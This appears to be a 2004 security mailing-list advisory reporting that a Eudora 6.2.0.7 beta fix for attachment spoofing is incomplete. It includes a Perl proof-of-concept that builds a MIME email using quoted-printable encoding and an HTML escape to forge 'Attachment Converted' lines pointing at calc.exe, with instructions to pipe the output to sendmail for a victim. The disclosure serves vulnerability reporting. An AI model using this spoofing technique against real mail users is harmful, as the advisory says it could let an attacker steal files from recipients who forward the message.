Eudora 6.2.0.7 attachment spoof

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Date: Mon, 11 Oct 2004 08:23:53 +1000 (EST)
To: NTBugtraq@listserv.ntbugtraq.com, beckley@qualcomm.com, bugtraq@securityfocus.com, full-disclosure@lists.netsys.com

Eudora 6.2.0.7 for Windows is in beta testing since 8 Oct 2004. The release
notes
http://www.eudora.com/download/eudora/windows/6.2/Betas/RelNotes.txt
say:

> SECURITY
> --------
> Fixed cases where attachments could be spoofed via base64 or quoted-printable
> encoded (plain-text, inline) MIME parts.

Not so. Harmless demo below.

Cheers,

Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia

#!/usr/bin/perl --

use MIME::Base64;

print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.2.0.7 on Windows spoof\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";

print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n\n";
print "With spoofed attachments, we could 'steal' files (after a warning?)
if the message was forwarded (not replied to).\n";

print "\n--zzz\n";
print "Content-Type: text/html; name=\"qp.txt\"\n";
print "Content-Transfer-Encoding: quoted-printable \n";
print "Content-Disposition: inline; filename=\"qp.txt\"\n\n";
print "Within text/html part, use </x-html> to get back to plaintext,
no need for NUL or linebreak or nothing:
</x-html>\n";
print "Attachment Converted=00: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted=
: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz--\n";

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